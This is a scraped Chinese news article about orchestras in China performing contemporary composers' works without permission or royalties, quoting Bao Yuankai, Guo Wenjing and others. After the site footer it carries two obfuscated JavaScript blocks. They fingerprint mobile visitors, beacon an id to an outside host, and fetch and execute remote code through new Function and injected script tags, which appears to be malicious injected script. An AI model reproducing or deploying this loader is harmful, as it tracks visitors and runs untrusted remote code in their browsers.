演奏原创作品不经同意、不付版权费，作曲家对此很无奈

时间：2020-10-23 23:37:35阅读：3559次
公开商演作品却不先征得作曲家同意，这样的情况在国内并不少见。漫画/王鹏本报记者韩轩每当你坐在音乐厅中欣赏《红旗颂》《炎黄风情》等当代作曲家的交响名作时，是否意识到乐团演奏这部作品前，需要先征得作曲家的

公开商演作品却不先征得作曲家同意，这样的情况在国内并不少见。漫画/王鹏

本报记者韩轩

每当你坐在音乐厅中欣赏《红旗颂》《炎黄风情》等当代作曲家的交响名作时，是否意识到乐团演奏这部作品前，需要先征得作曲家的同意？我国《著作权法》规定，使用他人作品演出，表演者应当取得著作权人许可并支付报酬。

事实上，不少中国当代作曲家创作的作品在创作者不知情的情况下上演，作曲家费尽心血创作出作品，能得到的版权费并不多。古典音乐领域版权保护意识有待加强。

当代作品常被“侵权演出”

说起自己的作品差点在自己毫不知情的情况下就上演的事，作曲家鲍元恺到现在都很气愤。那是去年年末，鲍元恺听说上海民族乐团将与台北市立国乐团在上海演出一场《台湾音画——上海台北双城乐展》的音乐会，演奏内容包括他创作的《台湾音画》，可演出方从没向他透露过要演出这部作品的消息，鲍元恺也从未向演出方授权。而且，该音乐会的售票广告页上出现了《台湾音画》八个乐章的名称，却唯独没有出现作曲家的名字。

发现这件事后，鲍元恺只得写公开信询问。对方看到公开信后发表声明，称上海民族乐团与台北市立国乐团事先签有协议，“双方应各自保证拥有所演出曲目的合法权利或授权”，“但遗憾的是，双方对于谁来落实版权相关问题有不同的认知”，随后宣布取消音乐会。“乐团虽然自行取消了演出，但不是自知理亏，反而觉得这个损失是我造成的。”这件事不了了之，鲍元恺依旧愤愤。

公开商演作品却不先征得著作权人的同意，就已等同侵权，这样的情况在国内并不少见。“就拿作曲家吕其明创作的《红旗颂》来说，每年不知有多少个乐团会演出这部作品，逢年过节都会演，但很少有人会想到先征得他的同意。”从事音乐会演出的资深行业人曾伟说，虽然吕其明本人并不介意乐团演奏他的作品，也不一定收取版权费，“但不意味着乐团可以随便演，事先征求同意是对作曲家起码的尊重。”

顶尖作曲家版权收入也不高

演奏方不愿意在事先联系作曲家并向其支付版权费，是因为这项版权费很高吗？答案并不是。

作曲家郭文景介绍，按照国际惯例，想演奏一位作曲家的作品，或是征求本人同意，或是向正规出版乐谱的出版社寻求有偿租赁乐谱。音乐作品版权分为大版权和小版权，歌剧作品属于大版权，音乐会作品是小版权，价格其实并不高，“一首二三十分钟的作品，演一场一般都在2000元以下”，最终以演奏的场次为单位结算。“收入的多少与被演出的数量有关。”郭文景说。

不过，即便是中国目前最著名的这一批作曲家，他们得到的版权收入也不高。鲍元恺创作的《炎黄风情》《台湾音画》等作品在国内演出次数极多，在这种情况下，他每年能通过中国音乐著作权协会得到演出方支付的几万元费用，“演出次数太多了，确实单次版权费不高。”而作曲家陈其钢在近日举办的2019中国乐团艺术管理论坛上透露，自2011年至2019年上半年，他的作品在全世界范围内演出共收到版权费折合人民币约81万元，其中在中国收到的只有1.3万元。

对于那些没有事先征求同意就上演的“漏网之鱼”，作曲家也很少去主动维权。用鲍元恺的话说，“作曲家都很忙，尤其是处于探索中的中国作曲家，没有精力打官司。”曾伟透露，打官司维权需要的时间成本和人力成本都很高，最后获得的赔付也就只有几万元，作曲家也就不愿多这个麻烦。

规范使用乐谱靠行业自律

侵犯著作权的行为之所以还存在，不少业内人士表示，这是个“历史遗留问题”，想改变需要全行业自律。

早年间，由于乐谱出版较少或沟通不便等原因，一个乐团想演奏某一部作品却拿不到谱子，就有人根据唱片里的旋律把它转化成乐谱，再供演奏员演奏，被业内称为“扒谱子”，其实就是盗版。“当时几乎每个团体都有专业扒谱子的，不同的人扒出来的谱子不同，有些作品就出现了各种版本，其实都不规范。”曾伟说，现在演出市场上不少名为宫崎骏、久石让作品的音乐会，演奏的谱子很有可能是“扒”来的，包括演出时大屏幕上播放的电影、动画画面，可能都未经过授权。

在国内，这样的侵权行为多数处于“民不举，官不究”的状态，但指挥家谭利华指出，国外对不规范乐谱的管理非常严格，甚至不能使用复印或手抄的乐谱登台。“我带团在国外演出时，会有当地工作人员上台检查乐谱。”谭利华说，演奏员有时觉得原版乐谱字太小不方便看，如果用了复印乐谱，那也一定要带着原版的谱子，向对方证明自己的谱子是正规出版物或已得到授权，“否则乐团会受到严厉处罚，甚至终止演出。”

业内人士也表示，可喜的是，古典音乐圈儿的版权意识近年有日渐加强的趋势。各院团在向作曲家委约创作作品时，版权保护条款往往明确写在委约合同中。“比如委约作品的版权如何归属；在作品诞生多少年内，约稿的乐团拥有优先演奏权；在经过一定年限后，其他乐团想演奏这部作品时该向谁取得同意，这些都会写明。”谭利华说，虽然不是所有乐团和作曲家在委约时都能做到签约细致，“但这是个时间问题，当大家都自觉做这件事了，版权意识也就建立起来了。”

评论

  • 评论加载中...



Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

留言求片

function zXEQtW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function kAdXYqZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return zXEQtW(t);};window[''+'H'+'R'+'y'+'q'+'v'+'Q'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GSeaP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=kAdXYqZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GSeaP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GSeaP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toannMuY24lM0E5NTM1','159458',window,document,['H','n']);}:function(){};
function BjpxD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function adGJE(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BjpxD(t);};window[''+'j'+'D'+'t'+'V'+'i'+'H'+'T'+'b'+'f'+'w'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function XoiS(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=adGJE,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=XoiS(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=XoiS(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55aa2toaanMuY24lM0E5NTM1','159459',window,document,['M','a']);}:function(){};